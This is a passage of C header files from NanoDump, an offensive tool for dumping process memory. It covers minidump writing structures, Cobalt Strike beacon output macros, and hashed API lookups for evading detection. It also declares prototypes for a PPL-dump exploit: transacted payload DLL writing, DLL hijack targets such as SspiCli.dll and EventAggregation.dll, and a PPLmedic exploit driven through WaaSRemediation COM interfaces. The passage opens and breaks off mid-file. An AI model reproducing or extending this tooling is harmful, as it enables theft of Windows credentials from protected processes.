_MiniDumpHeader 188 | { 189 | ULONG32 Signature; 190 | SHORT Version; 191 | SHORT ImplementationVersion; 192 | ULONG32 NumberOfStreams; 193 | ULONG32 StreamDirectoryRva; 194 | ULONG32 CheckSum; 195 | ULONG32 Reserved; 196 | ULONG32 TimeDateStamp; 197 | ULONG32 Flags; 198 | } MiniDumpHeader, *PMiniDumpHeader; 199 | 200 | typedef struct _MiniDumpDirectory 201 | { 202 | ULONG32 StreamType; 203 | ULONG32 DataSize; 204 | ULONG32 Rva; 205 | } MiniDumpDirectory, *PMiniDumpDirectory; 206 | 207 | typedef struct _dump_context 208 | { 209 | HANDLE hProcess; 210 | PVOID BaseAddress; 211 | ULONG32 rva; 212 | SIZE_T DumpMaxSize; 213 | ULONG32 Signature; 214 | USHORT Version; 215 | USHORT ImplementationVersion; 216 | } dump_context, *Pdump_context; 217 | 218 | typedef struct _MiniDumpSystemInfo 219 | { 220 | SHORT ProcessorArchitecture; 221 | SHORT ProcessorLevel; 222 | SHORT ProcessorRevision; 223 | char NumberOfProcessors; 224 | char ProductType; 225 | ULONG32 MajorVersion; 226 | ULONG32 MinorVersion; 227 | ULONG32 BuildNumber; 228 | ULONG32 PlatformId; 229 | ULONG32 CSDVersionRva; 230 | SHORT SuiteMask; 231 | SHORT Reserved2; 232 | #if _WIN64 233 | ULONG64 ProcessorFeatures1; 234 | ULONG64 ProcessorFeatures2; 235 | #else 236 | ULONG32 VendorId1; 237 | ULONG32 VendorId2; 238 | ULONG32 VendorId3; 239 | ULONG32 VersionInformation; 240 | ULONG32 FeatureInformation; 241 | ULONG32 AMDExtendedCpuFeatures; 242 | #endif 243 | } MiniDumpSystemInfo, *PMiniDumpSystemInfo; 244 | 245 | typedef struct _VsFixedFileInfo 246 | { 247 | ULONG32 dwSignature; 248 | ULONG32 dwStrucVersion; 249 | ULONG32 dwFileVersionMS; 250 | ULONG32 dwFileVersionLS; 251 | ULONG32 dwProductVersionMS; 252 | ULONG32 dwProductVersionLS; 253 | ULONG32 dwFileFlagsMask; 254 | ULONG32 dwFileFlags; 255 | ULONG32 dwFileOS; 256 | ULONG32 dwFileType; 257 | ULONG32 dwFileSubtype; 258 | ULONG32 dwFileDateMS; 259 | ULONG32 dwFileDateLS; 260 | } VsFixedFileInfo, *PVsFixedFileInfo; 261 | 262 | typedef struct _MiniDumpLocationDescriptor 263 | { 264 | ULONG32 DataSize; 265 | ULONG32 rva; 266 | } MiniDumpLocationDescriptor, *PMiniDumpLocationDescriptor; 267 | 268 | typedef struct _MiniDumpModule 269 | { 270 | ULONG64 BaseOfImage; 271 | ULONG32 SizeOfImage; 272 | ULONG32 CheckSum; 273 | ULONG32 TimeDateStamp; 274 | ULONG32 ModuleNameRva; 275 | VsFixedFileInfo VersionInfo; 276 | MiniDumpLocationDescriptor CvRecord; 277 | MiniDumpLocationDescriptor MiscRecord; 278 | ULONG64 Reserved0; 279 | ULONG64 Reserved1; 280 | } MiniDumpModule, *PMiniDumpModule; 281 | 282 | typedef struct _MiniDumpMemoryDescriptor64 283 | { 284 | struct _MiniDumpMemoryDescriptor64* next; 285 | ULONG64 StartOfMemoryRange; 286 | ULONG64 DataSize; 287 | DWORD State; 288 | DWORD Protect; 289 | DWORD Type; 290 | } MiniDumpMemoryDescriptor64, *PMiniDumpMemoryDescriptor64; 291 | 292 | VOID writeat( 293 | IN Pdump_context dc, 294 | IN ULONG32 rva, 295 | IN const PVOID data, 296 | IN unsigned size); 297 | 298 | BOOL append( 299 | IN Pdump_context dc, 300 | IN const PVOID data, 301 | IN ULONG32 size); 302 | 303 | BOOL write_header( 304 | IN Pdump_context dc); 305 | 306 | BOOL write_directory( 307 | IN Pdump_context dc, 308 | IN MiniDumpDirectory directory); 309 | 310 | BOOL write_directories( 311 | IN Pdump_context dc); 312 | 313 | BOOL write_system_info_stream( 314 | IN Pdump_context dc); 315 | 316 | //Pmodule_info write_module_list_stream( 317 | // IN Pdump_context dc); 318 | // 319 | //BOOL is_important_module( 320 | // IN PVOID address, 321 | // IN Pmodule_info module_list); 322 | // 323 | //PMiniDumpMemoryDescriptor64 get_memory_ranges( 324 | // IN Pdump_context dc, 325 | // IN Pmodule_info module_list); 326 | // 327 | //PMiniDumpMemoryDescriptor64 write_memory64_list_stream( 328 | // IN Pdump_context dc, 329 | // IN Pmodule_info module_list); 330 | 331 | BOOL NanoDumpWriteDump( 332 | IN Pdump_context dc); 333 | -------------------------------------------------------------------------------- /include/ntdefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #define NTDLL_DLL L"ntdll.dll" 7 | #define ADVAPI32_DLL L"Advapi32.dll" 8 | #define KERNELBASE_DLL L"KernelBase.dll" 9 | #define KERNEL32_DLL L"Kernel32.dll" 10 | #define SHELL32_DLL L"Shell32.dll" 11 | #define OLEAUT32_DLL L"OleAut32.dll" 12 | #define RPCRT4_DLL L"Rpcrt4.dll" 13 | #define OLE32_DLL L"Ole32.dll" 14 | 15 | #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) 16 | #define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 ) 17 | 18 | #ifndef NT_SUCCESS 19 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 20 | #endif 21 | 22 | #define STATUS_SUCCESS 0x00000000 23 | #define STATUS_UNSUCCESSFUL 0xC0000001 24 | #define STATUS_PARTIAL_COPY 0x8000000D 25 | #define STATUS_ACCESS_DENIED 0xC0000022 26 | #define STATUS_OBJECT_PATH_NOT_FOUND 0xC000003A 27 | #define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034 28 | #define STATUS_OBJECT_NAME_INVALID 0xc0000033 29 | #define STATUS_SHARING_VIOLATION 0xC0000043 30 | #define STATUS_NO_MORE_ENTRIES 0x8000001A 31 | #define STATUS_INVALID_CID 0xC000000B 32 | #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 33 | #define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B 34 | #define STATUS_BUFFER_TOO_SMALL 0xC0000023 35 | #define STATUS_OBJECT_NAME_COLLISION 0xC0000035 36 | #define STATUS_ALERTED 0x00000101 37 | 38 | struct _RTL_BALANCED_NODE 39 | { 40 | union 41 | { 42 | struct _RTL_BALANCED_NODE* Children[2]; //0x0 43 | struct 44 | { 45 | struct _RTL_BALANCED_NODE* Left; //0x0 46 | struct _RTL_BALANCED_NODE* Right; //0x8 47 | }; 48 | }; 49 | union 50 | { 51 | struct 52 | { 53 | UCHAR Red:1; //0x10 54 | UCHAR Balance:2; //0x10 55 | }; 56 | ULONGLONG ParentValue; //0x10 57 | }; 58 | }; 59 | 60 | struct LDR_DATA_TABLE_ENTRY 61 | { 62 | struct _LIST_ENTRY InLoadOrderLinks; //0x0 63 | struct _LIST_ENTRY InMemoryOrderLinks; //0x10 64 | struct _LIST_ENTRY InInitializationOrderLinks; //0x20 65 | PVOID DllBase; //0x30 66 | PVOID EntryPoint; //0x38 67 | ULONG32 SizeOfImage; //0x40 68 | struct _UNICODE_STRING FullDllName; //0x48 69 | struct _UNICODE_STRING BaseDllName; //0x58 70 | UCHAR FlagGroup[4]; //0x68 71 | USHORT ObsoleteLoadCount; //0x6c 72 | USHORT TlsIndex; //0x6e 73 | struct _LIST_ENTRY HashLinks; //0x70 74 | ULONG TimeDateStamp; //0x80 75 | struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88 76 | VOID* Lock; //0x90 77 | struct _LDR_DDAG_NODE* DdagNode; //0x98 78 | struct _LIST_ENTRY NodeModuleLink; //0xa0 79 | struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0 80 | VOID* ParentDllBase; //0xb8 81 | VOID* SwitchBackContext; //0xc0 82 | struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8 83 | struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0 84 | ULONGLONG OriginalBase; //0xf8 85 | union _LARGE_INTEGER LoadTime; //0x100 86 | ULONG BaseNameHashValue; //0x108 87 | ULONG32 LoadReason; //0x10c 88 | ULONG ImplicitPathOptions; //0x110 89 | ULONG ReferenceCount; //0x114 90 | ULONG DependentLoadFlags; //0x118 91 | UCHAR SigningLevel; //0x11c 92 | ULONG CheckSum; //0x120 93 | }; 94 | -------------------------------------------------------------------------------- /include/output.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifdef BOF 4 | #include "beacon.h" 5 | #else 6 | #include 7 | #include 8 | #endif 9 | 10 | VOID LogToConsole(LPCSTR pwszFormat, ...); 11 | 12 | #if defined(BOF) 13 | #define PRINT(...) { \ 14 | BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \ 15 | } 16 | #elif defined(DDL) && defined(PPL_DUMP) 17 | #define PRINT(...) { \ 18 | LogToConsole(__VA_ARGS__); \ 19 | LogToConsole("\n"); \ 20 | } 21 | #elif defined(EXE) 22 | #define PRINT(...) { \ 23 | fprintf(stdout, __VA_ARGS__); \ 24 | fprintf(stdout, "\n"); \ 25 | } 26 | #else 27 | #define PRINT(...) 28 | #endif 29 | 30 | #if defined(BOF) 31 | #define PRINT_ERR(...) { \ 32 | BeaconPrintf(CALLBACK_ERROR, __VA_ARGS__); \ 33 | } 34 | #elif defined(DDL) && defined(PPL_DUMP) 35 | #define PRINT_ERR(...) { \ 36 | LogToConsole(__VA_ARGS__); \ 37 | LogToConsole("\n"); \ 38 | } 39 | #elif defined(EXE) 40 | #define PRINT_ERR(...) { \ 41 | fprintf(stdout, __VA_ARGS__); \ 42 | fprintf(stdout, "\n"); \ 43 | } 44 | #else 45 | #define PRINT_ERR(...) 46 | #endif 47 | 48 | #if defined(DEBUG) && defined(BOF) 49 | #define DPRINT(...) { \ 50 | BeaconPrintf(CALLBACK_OUTPUT, "DEBUG: %s:%d:%s(): ", __FILE__, __LINE__, __FUNCTION__); \ 51 | BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \ 52 | } 53 | #elif defined(DEBUG) && defined(DDL) && defined(PPL_DUMP) 54 | #define DPRINT(...) { \ 55 | LogToConsole("DEBUG: %s:%d:%s(): ", __FILE__, __LINE__, __FUNCTION__); \ 56 | LogToConsole(__VA_ARGS__); \ 57 | LogToConsole("\n"); \ 58 | } 59 | #elif defined(DEBUG) && defined(EXE) 60 | #define DPRINT(...) { \ 61 | fprintf(stderr, "DEBUG: %s:%d:%s(): ", __FILE__, __LINE__, __FUNCTION__); \ 62 | fprintf(stderr, __VA_ARGS__); \ 63 | fprintf(stderr, "\n"); \ 64 | } 65 | #else 66 | #define DPRINT(...) 67 | #endif 68 | 69 | #if defined(DEBUG) && defined(BOF) 70 | #define DPRINT_ERR(...) { \ 71 | BeaconPrintf(CALLBACK_ERROR, "ERROR: %s:%d:%s(): ", __FILE__, __LINE__, __FUNCTION__); \ 72 | BeaconPrintf(CALLBACK_ERROR, __VA_ARGS__); \ 73 | } 74 | #elif defined(DEBUG) && defined(DDL) && defined(PPL_DUMP) 75 | #define DPRINT_ERR(...) { \ 76 | LogToConsole("ERROR: %s:%d:%s(): ", __FILE__, __LINE__, __FUNCTION__); \ 77 | LogToConsole(__VA_ARGS__); \ 78 | LogToConsole("\n"); \ 79 | } 80 | #elif defined(DEBUG) && defined(EXE) 81 | #define DPRINT_ERR(...) { \ 82 | fprintf(stderr, "ERROR: %s:%d:%s(): ", __FILE__, __LINE__, __FUNCTION__); \ 83 | fprintf(stderr, __VA_ARGS__); \ 84 | fprintf(stderr, "\n"); \ 85 | } 86 | #else 87 | #define DPRINT_ERR(...) 88 | #endif 89 | 90 | #define syscall_failed(syscall_name, status) \ 91 | DPRINT_ERR( \ 92 | "Failed to call %s, status: 0x%lx", \ 93 | syscall_name, \ 94 | status \ 95 | ) 96 | 97 | #define function_failed(function) \ 98 | DPRINT_ERR( \ 99 | "Call to '%s' failed, error: %ld", \ 100 | function, \ 101 | GetLastError() \ 102 | ) 103 | 104 | #define malloc_failed() function_failed("HeapAlloc") 105 | 106 | #define api_not_found(function) \ 107 | DPRINT_ERR( \ 108 | "The address of '%s' was not found", \ 109 | function \ 110 | ) 111 | -------------------------------------------------------------------------------- /include/pipe.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #if defined(PPL_MEDIC) || defined(SSP) 4 | 5 | #include "dinvoke.h" 6 | 7 | typedef BOOL(WINAPI* InitializeSecurityDescriptor_t)(PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision); 8 | typedef BOOL(WINAPI* ConvertStringSecurityDescriptorToSecurityDescriptorW_t)(LPCWSTR StringSecurityDescriptor, DWORD StringSDRevision, PSECURITY_DESCRIPTOR *SecurityDescriptor, PULONG SecurityDescriptorSize); 9 | typedef HANDLE(WINAPI* CreateNamedPipeW_t)(LPCWSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes); 10 | typedef HANDLE(WINAPI* CreateFileW_t)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 11 | typedef BOOL(WINAPI* ConnectNamedPipe_t)(HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped); 12 | typedef BOOL(WINAPI* WriteFile_t)(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); 13 | typedef BOOL(WINAPI* ReadFile_t)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); 14 | typedef BOOL(WINAPI* DisconnectNamedPipe_t)(HANDLE hNamedPipe); 15 | 16 | #define InitializeSecurityDescriptor_SW2_HASH 0x0388211D 17 | #define ConvertStringSecurityDescriptorToSecurityDescriptorW_SW2_HASH 0x1693E886 18 | #define CreateNamedPipeW_SW2_HASH 0x58993B44 19 | #define CreateFileW_SW2_HASH 0x24976EA4 20 | #define ConnectNamedPipe_SW2_HASH 0x96019466 21 | #define WriteFile_SW2_HASH 0xED7C1B6F 22 | #define ReadFile_SW2_HASH 0x8D38978F 23 | #define DisconnectNamedPipe_SW2_HASH 0xAEA47AEA 24 | 25 | #define SDDL_REVISION_1 1 26 | #define PAGE_SIZE 0x1000 27 | 28 | typedef enum MESSAGE_TYPE 29 | { 30 | msg_type_parameters, 31 | msg_type_result, 32 | } MESSAGE_TYPE; 33 | 34 | typedef struct _MSG_PPL_MEDIC_PARAMETERS 35 | { 36 | LPSTR dump_path[MAX_PATH + 1]; 37 | BOOL use_valid_sig; 38 | BOOL elevate_handle; 39 | } MSG_PPL_MEDIC_PARAMETERS, * PMSG_PPL_MEDIC_PARAMETERS; 40 | 41 | typedef struct _MSG_RESULT 42 | { 43 | BOOL succeded; 44 | } MSG_RESULT, * PMSG_RESULT; 45 | 46 | typedef struct _IPC_MSG 47 | { 48 | MESSAGE_TYPE Type; 49 | union { 50 | MSG_RESULT Result; 51 | MSG_PPL_MEDIC_PARAMETERS Params; 52 | } p; 53 | 54 | } IPC_MSG, * PIPC_MSG; 55 | 56 | #if defined(PPL_MEDIC) 57 | 58 | #define IPC_PIPE_NAME L"NanoDumpPPLmedicPipe" 59 | 60 | #elif defined(SSP) 61 | 62 | #define IPC_PIPE_NAME L"NanoDumpSSPPipe" 63 | 64 | #endif // #if defined(PPL_MEDIC) 65 | 66 | BOOL server_create_named_pipe( 67 | IN LPCWSTR pipe_name, 68 | IN BOOL async, 69 | OUT PHANDLE hPipe); 70 | 71 | BOOL client_connect_to_named_pipe( 72 | IN LPWSTR pipe_name, 73 | OUT PHANDLE hPipe); 74 | 75 | BOOL server_listen_on_named_pipe( 76 | IN HANDLE hPipe); 77 | 78 | BOOL server_recv_arguments_from_pipe( 79 | IN HANDLE hPipe, 80 | OUT LPSTR* dump_path, 81 | OUT PBOOL use_valid_sig, 82 | OUT PBOOL elevate_handle); 83 | 84 | BOOL client_send_arguments_from_pipe( 85 | IN HANDLE hPipe, 86 | IN LPSTR dump_path, 87 | IN BOOL use_valid_sig, 88 | IN BOOL elevate_handle); 89 | 90 | BOOL server_disconnect_pipe( 91 | IN HANDLE hPipe); 92 | 93 | BOOL write_data_to_pipe( 94 | IN HANDLE hPipe, 95 | IN PVOID data_bytes, 96 | IN DWORD data_size); 97 | 98 | BOOL server_send_success( 99 | IN HANDLE hPipe, 100 | IN BOOL succeded); 101 | 102 | BOOL client_recv_success( 103 | IN HANDLE hPipe, 104 | OUT PBOOL succeded); 105 | 106 | #endif // #if defined(PPL_MEDIC) || defined(SSP) 107 | -------------------------------------------------------------------------------- /include/ppl/cleanup.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "nanodump.h" 7 | #include "dinvoke.h" 8 | 9 | typedef BOOL(WINAPI* SetKernelObjectSecurity_t) (HANDLE Handle, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR SecurityDescriptor); 10 | typedef BOOL(WINAPI* InitializeSecurityDescriptor_t) (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision); 11 | typedef BOOL(WINAPI* SetSecurityDescriptorDacl_t) (PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted); 12 | 13 | #define SetKernelObjectSecurity_SW2_HASH 0x06AE0E20 14 | #define InitializeSecurityDescriptor_SW2_HASH 0x0388211D 15 | #define SetSecurityDescriptorDacl_SW2_HASH 0x7BDD4356 16 | 17 | BOOL get_current_dll_filename( 18 | OUT LPCWSTR* ppwszDllName); 19 | 20 | BOOL delete_known_dll_entry(VOID); 21 | -------------------------------------------------------------------------------- /include/ppl/ppl.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | -------------------------------------------------------------------------------- /include/ppl/ppl_dump.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "nanodump.h" 10 | #include "utils.h" 11 | #include "dinvoke.h" 12 | #include "syscalls.h" 13 | #include "token_priv.h" 14 | #include "impersonate.h" 15 | #include "ppl/ppl_utils.h" 16 | 17 | #define PPL_BINARY L"services.exe" 18 | #define DLL_TO_HIJACK_WIN63 L"SspiCli.dll" 19 | #define DLL_TO_HIJACK_WIN10 L"EventAggregation.dll" 20 | #define DLL_LINK_TARGET L"foobar" 21 | 22 | typedef BOOL(WINAPI* DllMain_t)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved); 23 | typedef BOOL(WINAPI* CopySid_t) (DWORD nDestinationSidLength, PSID pDestinationSid, PSID pSourceSid); 24 | typedef BOOL(WINAPI* ConvertSidToStringSidW_t) (PSID Sid, LPWSTR *StringSid); 25 | typedef BOOL(WINAPI* ConvertStringSidToSidW_t) (LPCWSTR StringSid, PSID *Sid); 26 | typedef BOOL(WINAPI* LookupAccountSidW_t) (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); 27 | typedef BOOL(WINAPI* InitializeSecurityDescriptor_t) (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision); 28 | typedef BOOL(WINAPI* SetSecurityDescriptorDacl_t) (PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted); 29 | typedef BOOL(WINAPI* SetKernelObjectSecurity_t) (HANDLE Handle, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR SecurityDescriptor); 30 | typedef BOOL(WINAPI* RevertToSelf_t) (VOID); 31 | typedef BOOL(WINAPI* DefineDosDeviceW_t) (DWORD dwFlags, LPCWSTR lpDeviceName, LPCWSTR lpTargetPath); 32 | typedef BOOL(WINAPI* CreateProcessAsUserW_t) (HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); 33 | typedef HANDLE(WINAPI* CreateFileTransactedW_t) (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile, HANDLE hTransaction, PUSHORT pusMiniVersion, PVOID lpExtendedParameter); 34 | typedef DWORD(WINAPI* GetSecurityInfo_t) (HANDLE handle, SE_OBJECT_TYPE ObjectType, SECURITY_INFORMATION SecurityInfo, PSID* ppsidOwner, PSID* ppsidGroup, PACL* ppDacl, PACL* ppSacl, PSECURITY_DESCRIPTOR* ppSecurityDescriptor); 35 | typedef UINT(WINAPI* GetSystemDirectoryW_t) (LPWSTR lpBuffer, UINT uSize); 36 | typedef BOOL(WINAPI* FindClose_t) (HANDLE hFindFile); 37 | typedef HANDLE(WINAPI* FindFirstFileW_t) (LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData); 38 | typedef BOOL(WINAPI* FindNextFileW_t) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); 39 | 40 | #define CopySid_SW2_HASH 0xE9DEE47F 41 | #define ConvertSidToStringSidW_SW2_HASH 0x2E89B34F 42 | #define ConvertStringSidToSidW_SW2_HASH 0x9A0697A4 43 | #define LookupAccountSidW_SW2_HASH 0x093E752B 44 | #define InitializeSecurityDescriptor_SW2_HASH 0x0388211D 45 | #define SetSecurityDescriptorDacl_SW2_HASH 0x7BDD4356 46 | #define SetKernelObjectSecurity_SW2_HASH 0x06AE0E20 47 | #define RevertToSelf_SW2_HASH 0x93BC9622 48 | #define DefineDosDeviceW_SW2_HASH 0xCB970704 49 | #define CreateProcessAsUserW_SW2_HASH 0x33A5532B 50 | #define CreateFileTransactedW_SW2_HASH 0x968D0D41 51 | #define GetSecurityInfo_SW2_HASH 0x7D3F55E4 52 | #define FindClose_SW2_HASH 0xD2503ADD 53 | #define GetSystemDirectoryW_SW2_HASH 0x008D32E6 54 | #define FindFirstFileW_SW2_HASH 0x8EDA41FA 55 | #define FindNextFileW_SW2_HASH 0xBF0C31DB 56 | 57 | BOOL run_ppl_dump_exploit( 58 | IN unsigned char nanodump_ppl_dump_dll[], 59 | IN unsigned int nanodump_ppl_dump_dll_len, 60 | IN LPCSTR dump_path, 61 | IN BOOL use_valid_sig, 62 | IN BOOL duplicate_handle); 63 | 64 | BOOL create_protected_process_as_user( 65 | IN HANDLE hToken, 66 | IN LPWSTR pwszCommandLine, 67 | OUT PHANDLE phProcess); 68 | 69 | BOOL prepare_ppl_command_line( 70 | IN LPCSTR dump_path, 71 | IN BOOL use_valid_sig, 72 | IN BOOL duplicate_handle, 73 | OUT LPWSTR* command_line); 74 | 75 | BOOL find_file_for_transaction( 76 | IN DWORD dwMinSize, 77 | OUT LPWSTR* ppwszFilePath); 78 | 79 | BOOL write_payload_dll_transacted( 80 | IN unsigned char nanodump_ppl_dump_dll[], 81 | IN unsigned int nanodump_ppl_dump_dll_len, 82 | OUT PHANDLE pdhFile, 83 | OUT PHANDLE phTransaction); 84 | 85 | BOOL map_dll( 86 | IN unsigned char nanodump_ppl_dump_dll[], 87 | IN unsigned int nanodump_ppl_dump_dll_len, 88 | IN LPWSTR pwszSectionName, 89 | OUT PHANDLE phSection, 90 | OUT PHANDLE phTransaction); 91 | 92 | BOOL check_ppl_requirements(VOID); 93 | 94 | BOOL get_hijackeable_dllname( 95 | OUT LPWSTR* ppwszDllName); 96 | -------------------------------------------------------------------------------- /include/ppl/ppl_medic_client.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | //#include 4 | #include 5 | #include 6 | 7 | #include "dinvoke.h" 8 | #include "ppl/ppl_medic.h" 9 | #include "ppl/ppl_utils.h" 10 | 11 | #define CLSID_WAASREMEDIATION { 0x72566e27, 0x1abb, 0x4eb3, { 0xb4, 0xf0, 0xeb, 0x43, 0x1c, 0xb1, 0xcb, 0x32 } } // WaaSRemediationAgent - 72566E27-1ABB-4EB3-B4F0-EB431CB1CB32 12 | #define IID_WAASREMEDIATIONEX { 0xb4c1d279, 0x966e, 0x44e9, { 0xa9, 0xc5, 0xcc, 0xaf, 0x4a, 0x77, 0x02, 0x3d } } // IWaaSRemediationEx - B4C1D279-966E-44E9-A9C5-CCAF4A77023D 13 | #define IID_TASKHANDLER { 0x839d7762, 0x5121, 0x4009, { 0x92, 0x34, 0x4f, 0x0d, 0x19, 0x39, 0x4f, 0x04 } } // ITaskHandler - 839D7762-5121-4009-9234-4F0D19394F04 14 | #define IID_ALL_ZERO { 0x0, 0x0, 0x0, { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 } } 15 | 16 | #define EXPLOIT_STRATEGY_EXTRACT_BYTE_AT_INDEX_0 0 17 | #define EXPLOIT_STRATEGY_EXTRACT_BYTE_AT_INDEX_1 1 18 | #define EXPLOIT_STRATEGY_EXTRACT_BYTE_AT_INDEX_2 2 19 | 20 | typedef HRESULT(WINAPI* CoCancelCall_t)(DWORD dwThreadId, ULONG ulTimeout); 21 | typedef HRESULT(WINAPI* CoInitializeEx_t)(LPVOID pvReserved, DWORD dwCoInit); 22 | typedef HRESULT(WINAPI* CoCreateInstance_t)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv); 23 | typedef HRESULT(WINAPI* CoEnableCallCancellation_t)(LPVOID pReserved); 24 | typedef VOID (WINAPI* CoUninitialize_t)(); 25 | typedef HRESULT(WINAPI* CoDisableCallCancellation_t)(LPVOID pReserved); 26 | typedef HANDLE(WINAPI* CreateThread_t)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); 27 | typedef DWORD(WINAPI* WaitForSingleObject_t)(HANDLE hHandle, DWORD dwMilliseconds); 28 | typedef BOOL(WINAPI* GetExitCodeThread_t)(HANDLE hThread, LPDWORD lpExitCode); 29 | typedef HMODULE(WINAPI* LoadLibraryW_t)(LPCWSTR lpLibFileName); 30 | 31 | #define CoCancelCall_SW2_HASH 0x058CEE0B 32 | #define CoInitializeEx_SW2_HASH 0xEC4E1F34 33 | #define CoCreateInstance_SW2_HASH 0xEEDC39EE 34 | #define CoEnableCallCancellation_SW2_HASH 0xCF44EFD2 35 | #define CoUninitialize_SW2_HASH 0xEF38CFFF 36 | #define CoDisableCallCancellation_SW2_HASH 0x0E54ED00 37 | #define CreateThread_SW2_HASH 0x2C912627 38 | #define WaitForSingleObject_SW2_HASH 0x9E8B4EA7 39 | #define GetExitCodeThread_SW2_HASH 0xB69934BF 40 | #define LoadLibraryW_SW2_HASH 0x3EBB5CB0 41 | 42 | typedef struct _IWaaSRemediationExVtbl { 43 | /*** IUnknown methods ***/ 44 | HRESULT (STDMETHODCALLTYPE *QueryInterface)( 45 | IDispatch *This, 46 | REFIID riid, 47 | void **ppvObject); 48 | 49 | ULONG (STDMETHODCALLTYPE *AddRef)( 50 | IDispatch *This); 51 | 52 | ULONG (STDMETHODCALLTYPE *Release)( 53 | IDispatch *This); 54 | 55 | /*** IDispatch methods ***/ 56 | HRESULT (STDMETHODCALLTYPE *GetTypeInfoCount)( 57 | IDispatch *This, 58 | UINT *pctinfo); 59 | 60 | HRESULT (STDMETHODCALLTYPE *GetTypeInfo)( 61 | IDispatch *This, 62 | UINT iTInfo, 63 | LCID lcid, 64 | ITypeInfo **ppTInfo); 65 | 66 | HRESULT (STDMETHODCALLTYPE *GetIDsOfNames)( 67 | IDispatch *This, 68 | REFIID riid, 69 | LPOLESTR *rgszNames, 70 | UINT cNames, 71 | LCID lcid, 72 | DISPID *rgDispId); 73 | 74 | HRESULT (STDMETHODCALLTYPE *Invoke)( 75 | IDispatch *This, 76 | DISPID dispIdMember, 77 | REFIID riid, 78 | LCID lcid, 79 | WORD wFlags, 80 | DISPPARAMS *pDispParams, 81 | VARIANT *pVarResult, 82 | EXCEPINFO *pExcepInfo, 83 | UINT *puArgErr); 84 | 85 | /*** IWaaSRemediationEx methods ***/ 86 | HRESULT (STDMETHODCALLTYPE *LaunchDetectionOnly)( 87 | IDispatch *This, 88 | BSTR bstrCallerApplicationName, 89 | ULONGLONG pbstrPlugins); 90 | 91 | HRESULT (STDMETHODCALLTYPE *LaunchRemediationOnly)( 92 | IDispatch *This, 93 | BSTR bstrPlugins, 94 | BSTR bstrCallerApplicationName, 95 | ULONGLONG varResults); 96 | }IWaaSRemediationExVtbl, *PIWaaSRemediationExVtbl; 97 | 98 | typedef struct _ITaskHandlerVtbl { 99 | /*** IUnknown methods ***/ 100 | HRESULT (STDMETHODCALLTYPE *QueryInterface)( 101 | IDispatch *This, 102 | REFIID riid, 103 | void **ppvObject); 104 | 105 | ULONG (STDMETHODCALLTYPE *AddRef)( 106 | IDispatch *This); 107 | 108 | ULONG (STDMETHODCALLTYPE *Release)( 109 | IDispatch *This); 110 | 111 | /*** ITaskHandler methods ***/ 112 | HRESULT (STDMETHODCALLTYPE *Start)( 113 | IUnknown *This, 114 | IUnknown* pHandlerServices, 115 | BSTR 